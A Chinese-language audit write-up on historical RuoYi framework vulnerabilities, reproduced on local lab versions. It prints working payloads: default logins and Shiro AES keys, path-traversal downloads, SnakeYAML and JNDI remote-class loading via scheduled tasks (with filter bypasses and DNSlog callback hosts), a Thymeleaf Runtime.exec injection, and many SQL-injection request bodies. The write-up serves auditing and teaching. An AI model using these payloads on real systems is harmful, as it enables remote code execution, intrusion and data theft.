RuoYi框架部分历史漏洞
生产环境搭建(代码审计)
项目地址:若依 (y_project) - Gitee.com
官方文档:RuoYi
项目构成
因为RuoYi框架是基于SpringBoot搭建的,所以我们启动项目时不用像SpringMVC那样去配置我们的服务器然后把项目放到服务器上启动。我们成功导入项目之后会生成一些文件夹存放对应的代码文件,每一个文件夹都代表着不同的功能。
ruoyi-admin:全局配置
ruoyi-common:存放通用的工具包以及工具类
ruoyi-franmework:存放框架核心代码
ruoyi-generator:存放代码生成模块的代码
ruoyi--quartz :任务调度模块
ruoyi-system:项目业务开放模块
ruoyi-ui:前端代码模块
sql:存放项目功能数据脚本
1. IntelliJ IDEA【打开和管理 Ruoyi 项目的后端代码】
2. Node.js 和 npm【管理前端代码的依赖和构建】
3. Apache Maven【管理后端 Java 代码的构建和依赖】PS C:\Users\Administrator> node -v
PS C:\Users\Administrator> npm -v
PS C:\Users\Administrator> mvn -version
PS C:\Users\Administrator> java -version
PS C:\Users\Administrator> javac -version
MySQL5.7.26
redis3.0.504
构建过程
- 前端/后端配置
- 数据库账号密码以及数据的导入
- 端口
- 前后端独立运行/jar包运行
若依说明
若依能够流行起来,主要得益于以下几个方面的优势:1、基于Spring Boot;2、可视化代码生成;3、丰富的组件和插件;4、前后端分离;5、安全性
SpringBoot框架
Spring Boot是一款开箱即用框架,提供各种默认配置来简化项目配置。让我们的Spring应用【Spring是一个轻量级Java开发框架】变的更轻量化、更快的入门。
Spring Boot 优点非常多,如:1、独立运行;2、简化配置;3、自动配置;4、无代码生成和XML配置;5、应用监控
漏洞说明
RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。
其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。
测试版本
RuoYi-v4.5.0
RuoYi-v4.7.0
RuoYi-v4.7.1
RuoYi-v4.7.8
1、默认口令(全版本)
很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
-
不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。
-
RuoYi默认口令:admin/admin123、ry/admin123;druid控制台:ruoyi/123456
druid说明
项目地址:https://github.com/alibaba/druid
Druid是Java语言中最好的、开源的、高性能的、配置最简单的数据库连接池。Druid能够提供强大的监控和统计、防SQL注入、高性能、富的配置选项等。
要在Java应用程序中使用Druid连接池,首先需要添加Druid的依赖。如果使用Maven,可以在pom.xml
中添加以下依赖:
基本的Druid配置示例:application-druid.yml
2、Shiro反序列化(RuoYi<V4.6.2)
复现版本:4.5.0
Shiro说明
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。
Shiro反序列化漏洞
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值。在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
若依上的利用
ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。
- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式
- RuoYi-4.2可用利用链为CommonsBeanutilString这条链
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
RuoYi各版本的AES默认密钥
RuoYi 版本号 | 对象版本的默认AES密钥 |
---|---|
4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
漏洞复现
4.5.0版本的密钥:
RuoYi > V-4.6.2版本:
3、后台任意文件下载漏洞
除了手动测试该漏洞,该可以通过postman接口调试工具来实现
RuoYi<V-4.5.1
复现版本:4.5.0
该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。
- 接口位置com/ruoyi/web/controller/common/CommonController.java
- 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
- E:\Users\Desktop\RuoYi-v4.5.0
- 路径前缀(即接收输入参数路径的前缀),因此接口即为 /common/constant/Constant
复现过程
添加请求参数接口 + resource=/profile/1.txt
http://127.0.0.1:83/common/download/resource?resource=/profile/../../../../../../123.txt
http://127.0.0.1:83/common/download/resource?resource=/profile/123.txt
RuoYi<V4.7.8(定时绕过思路)
复现版本:4.7.0
在RuoYi定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。
-
以此来绕过必须使用resource来下载资源文件的方式。
接口为ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
- 具体思路入下:例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile('C://windows/win.ini') ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。
复现过程
# 调用定时任务调用目标字符串:ruoYiConfig.setProfile('c://1.txt')
cron表达式:0/10 * * * * ?
下载
http://127.0.0.1:70/common/download/resource?resource=C://1.txt
4、定时任务远程RCE
SnakeYaml反序列化(RuoYi<V-4.6.2)
复现版本:4.5.0
漏洞分析
通常只要引用了
Snakeyaml
包的几乎都可进行反序列化https://www.cnblogs.com/nice0e3/p/14514882.html
若依后台RCE到snakeyaml反序列化 | Gta1ta's Blog (myblog.ac.cn)
文件:pom.xml(rouyi-common)
漏洞复现
下载yaml反序列化payload工具
-
该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
-
下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令
1、修改AwesomeScriptEngineFactory.java文件
2、在工具根目录,使用JAVA编译AwesomeScriptEngineFactory.java文件,并且打包为jar,命令如下
javac src/artsploit/AwesomeScriptEngineFactory.java # 编译java文件
jar -cvf yaml-payload.jar -C src/ . # 打包成jar包
3、在工具根目录,编写yaml-payload.yml文件
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]]]
]
4、直接在yaml-payload-master目录下使用python起一个http服务
5、然后进入若依后台,添加一个计划任务
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]]]]')cron表达式:
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间
6、计划任务启动之后,即可执行命令calc
JNDI注入之LDAP注入(定时)(RuoYi<V-4.6.2)
复现版本:4.5.0
DNSlog生成一个反连域名:wzcfzygueq.yutu.eu.orgjavax.naming.InitialContext.lookup('ldap://wzcfzygueq.yutu.eu.org')
高版本定时绕过策略(V-4.6.2-V-4.7.1)
复现版本:4.7.0
在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldap
和rmi
以及http
字符串的过滤
- ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
但是可通过添加单引号的方式来绕过。例如http就可以改为ht'tp,rmi可以改为r'mi,ldap改为l'dap,以此来绕过字符串检测
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://127.0.0.1:55555/yaml-payload.jar"]]]]'')
添加” ' “绕过,只需要在协议字符串中间添加一个“ ' ”即可,那么所有目标调用字符串可更改为
rmi:
org.springframework.jndi.JndiLocatorDelegate.lookup('r'mi://192.168.126.1:8888/Calc')ldap:
javax.naming.InitialContext.lookup('ld'ap://192.168.126.1:8888/#Calc')SnakeYaml:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://192.168.126.1:8000/yaml-payload.jar"]]]]')
高版本JNDI注入之LDAP注入(定时+sql+rce)
复现版本:4.7.8
javax.naming.InitialContext.lookup('ldap://urzflbzmos.dgrh3.cn')0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729 WHERE job_id = 2;')
直接写入是不允许的,带上绕过也不行,但是可以通过sql注入的方式写入
5、SSTI(Thymeleaf模板注入)注入漏洞(仅适用V-4.7.1)
Thymeleaf说明
Thymeleaf 是一款用于渲染 XML/XHTML/HTML5 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面 。
漏洞分析
在RuoYi的ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java和ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是thymeleaf
视图渲染组件,因此可进行SSTI模板注入
。
其中可注入的接口包括:/getNames、/getKeys、/getValue、/localrefresh/task接口满足条件。
payload构建:
- 构建
fragment
参数payload,由于系统未对fragment
参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式
,使用${}
注入执行表达式,T()
访问java类和静态访问。因此构建payload:${T(java.lang.Runtime).getRuntime().exec("calc.exe")} - 由于thymeleaf高版本对
T()
进行了一些限制,不过可通过在T
和(
增加空格的办法进行绕过。因此构建payload:${T (java.lang.Runtime).getRuntime().exec("calc.exe")} 增加空格
漏洞复现
# 构建payload
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
6、sql注入漏洞
注入点1 /system/role/list接口(<V-4.6.2)
复现版本:4.5.0
pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
空包也可以
代码审计
我们先查看SysRole
类是否可接受该dataScope
值
ruoyi-system\src\main\java\com\ruoyi\system\domain\SysRole.java
在这个SysRole
中我们并没有看到定义dataScope
的属性
- 其实这个值是继承自
BaseEntity
我们从BaseEntity
中可以看到定义了一个HashMap
可接收键值对,因此我们才能注入参数 params[dataScope]
我们再重新回到controller的调用逻辑,可以看到调用了服务层的roleService.selectRoleList方法
继续跟进到服务层ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysRoleServiceImpl.java
持久层roleMapper调用selectRoleList方法
最后再跟进到Mapper配置文件
ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml
可以看到这里使用了${}
危险参数注入方式,相当与参数拼接,因此在这必定存在SQL注入。
我们通过发送payload看一下具体执行的是什么样的sql语句
SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))
完整语句
SELECTcount( 0 )
FROM(SELECT DISTINCTr.role_id,r.role_name,r.role_key,r.role_sort,r.data_scope,r.STATUS,r.del_flag,r.create_time,r.remark FROMsys_role rLEFT JOIN sys_user_role ur ON ur.role_id = r.role_idLEFT JOIN sys_user u ON u.user_id = ur.user_idLEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHEREr.del_flag = '0' AND extractvalue (1,concat( 0x7e, substring(( SELECT DATABASE()), 1, 32 ), 0x7e ))) table_count
注入点2 /system/role/export接口(<V-4.6.2)
复现版本:4.5.0
roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&orderByColumn=roleSort&isAsc=ascroleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
注入点3 /system/user/list接口(<V-4.6.2)
复现版本:4.5.0
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
同理该SQL注入漏洞产生原因和上面两个接口一致,不过这次是由于selectUserList
的配置xml使用了${}
进行参数注入导致。若要分析具体逻辑请参照上一注入点ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysUserController.java
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
注入点4 /system/user/export接口(<V-4.6.2)
复现版本:4.5.0
deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&orderByColumn=createTime&isAsc=descdeptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&orderByColumn=createTime&isAsc=desc¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
注入点5 /system/dept/list接口(<V-4.6.2)
复现版本:4.5.0
如果抓到包没有Content-Type注意添加POC时一定要加上:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
否则后端无法识别请求体类型,那么参数就无法注入。¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
代码审计:
controller接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java
\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml
sql的执行代码
SELECTd.dept_id,d.parent_id,d.ancestors,d.dept_name,d.order_num,d.leader,d.phone,d.email,d.STATUS,d.del_flag,d.create_by,d.create_time
FROMsys_dept d
WHEREd.del_flag = '0' AND extractvalue (1,concat( 0x7e,( SELECT DATABASE ()), 0x7e ))
ORDER BYd.parent_id,d.order_num
注入点6 /system/role/authUser/allocatedList接口(<V-4.6.2)
复现版本:4.5.0
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
代码审计:
接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
SELECT DISTINCTu.user_id,u.dept_id,u.login_name,u.user_name,u.user_type,u.email,u.avatar,u.phonenumber,u.STATUS,u.create_time
FROMsys_user uLEFT JOIN sys_dept d ON u.dept_id = d.dept_idLEFT JOIN sys_user_role ur ON u.user_id = ur.user_idLEFT JOIN sys_role r ON r.role_id = ur.role_id
WHEREu.del_flag = '0' AND r.role_id = '0'AND extractvalue (1,concat(0x7e,(SELECT DATABASE ()), 0x7e))
注入点7 /system/role/authUser/unallocatedList接口(<V-4.6.2)
复现版本:4.5.0
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=&phonenumber=¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
SELECT DISTINCTu.user_id,u.dept_id,u.login_name,u.user_name,u.user_type,u.email,u.avatar,u.phonenumber,u.STATUS,u.create_time
FROMsys_user uLEFT JOIN sys_dept d ON u.dept_id = d.dept_idLEFT JOIN sys_user_role ur ON u.user_id = ur.user_idLEFT JOIN sys_role r ON r.role_id = ur.role_id
WHEREu.del_flag = '0' AND ( r.role_id != '0' OR r.role_id IS NULL ) AND u.user_id NOT IN (SELECTu.user_id FROMsys_user uINNER JOIN sys_user_role ur ON u.user_id = ur.user_id AND ur.role_id = '0') AND extractvalue (1,concat( 0x7e,( SELECT DATABASE ()), 0x7e ))
# 将?占位符改为标识符'0'即可
SELECT DISTINCT u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time FROM sys_user u LEFT JOIN sys_dept d ON u.dept_id = d.dept_id LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id LEFT JOIN sys_role r ON r.role_id = ur.role_id WHERE u.del_flag = '0' AND (r.role_id != '0' OR r.role_id IS NULL) AND u.user_id NOT IN (SELECT u.user_id FROM sys_user u INNER JOIN sys_user_role ur ON u.user_id = ur.user_id AND ur.role_id = '0') AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))
注入点8 /system/dept/edit接口(<V-4.6.2)
复现版本:4.5.0
在下图界面,点击编辑后要点击确认后才能抓到包
deptId=101&parentId=100&parentName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&deptName=%E6%B7%B1%E5%9C%B3%E6%80%BB%E5%85%AC%E5%8F%B8&orderNum=1&leader=%E8%8B%A5%E4%BE%9D&phone=15888888888&email=ry%40qq.com&status=0
DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定。其中ancestors注入参数不能超过50个字符。post数据全部替换成下面内容:
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
代码审计:
接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java
ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml
注入点在updateDeptStatus
SQL中的 where dept_id in (${ancestors}) 这条语句中,因此我们需要其执行deptMapper.updateDeptStatus() 方法
这个方法是又由updateParentDeptStatus
方法调用。再到updateParentDeptStatus
方法中。因此我们得出一下结论
因此我们传入得Status必须为 0
否则无法执行到updateParentDeptStatus方法
再重新回到controller方法中
因此通过controller
方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即 DeptId
不等于ParentId
,以及部门名称不能是已经存在得部门名称,即DeptName
定义参数数据库中不存在。且我们通过SysDept定义得对象实体中知orderNum
的值不能为空。com/ruoyi/system/domain/SysDept.java
在sql\ry_20201017.sql。由于ancestors的值为varchar(50),因此输入的字符串长度不能超过50个字符
总结所有条件得出payload:
Status
必须为0
,即Status=0
- 上级部门不能是自己,即
DeptId
!=ParentId
- 部门名称不能是已经存在得部门名称,即
DeptName
定义参数数据库中不存在 orderNum
的值不能为空,即orderNum != ''
ancestors
字符长度小于50- 附加:由于是
edit
,因此接口DeptId
必须是数据库中能查到的部门ID
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=99999&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
UPDATE sys_dept
SET STATUS = '0',
update_by = '1',
update_time = sysdate()
WHEREdept_id IN ( 0 ) OR (extractvalue (1,concat(0,(SELECT USER()))));#)
注入点9 /tool/gen/createTable接口(V-4.7.1-V-4.7.5)
漏洞复现(V-4.7.1)
从4.7.1版本开始,ruoyi添加了一个新接口,可以执行建表语句,但由于过滤不严谨导致,用户可注入其他的sql语句导致sql注入漏洞。
接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java
代码使用MySqlCreateTableStatement来判断,用户输入sql语句是否为建表语句,如果不是建表语句则抛出异常,并返回。
因此我们可以通过先输入一个建表语句,然后我们可以使用as拼接其他的sql语句(使用as重命名表的方式来添加select语句,需要注意的是a1为创建的表名,因此a1必须自定义的一个不存在的表名),毕竟可以直接传入sql语句,注入的方式非常灵活绕过检测。
sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));sql=CREATE table a1 as SELECT * FROM sys_user WHERE 1=1 union SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));
在点击确认后即可抓到想要的数据包
代码审计:
接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java
注入点10 定时任务sql注入
复现版本:4.7.1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'carmi' WHERE job_id = 1;')* * * * * ?
两种大版本的区别
1、相比与RuoYi前后端不分离版本,前后端分离VUE版本的可利用漏洞更少。
2、由于VUE版本使用的是SpringSecurity安全框架未使用shiro框架,因此不存在shiro反序列化漏洞。
3、VUE版本未使用thymeleaf视图渲染组件,因此也不存在SSTI模板注入。
4、并且由于默认情况下VUE版本,对于/export和/list,均使用的是get请求,不支持post请求,无法通过请求参数注入params-dataScope参数。虽然VUE版本在3.7.0开始在/export接口使用post进行传参,但是可惜的是VUE在3.6.0版本就加入了clearDataScope方法来清空dataScope的值,因此这个注入点在VUE全版本均不可利用(二次开发者未修改请求类型的情况下)。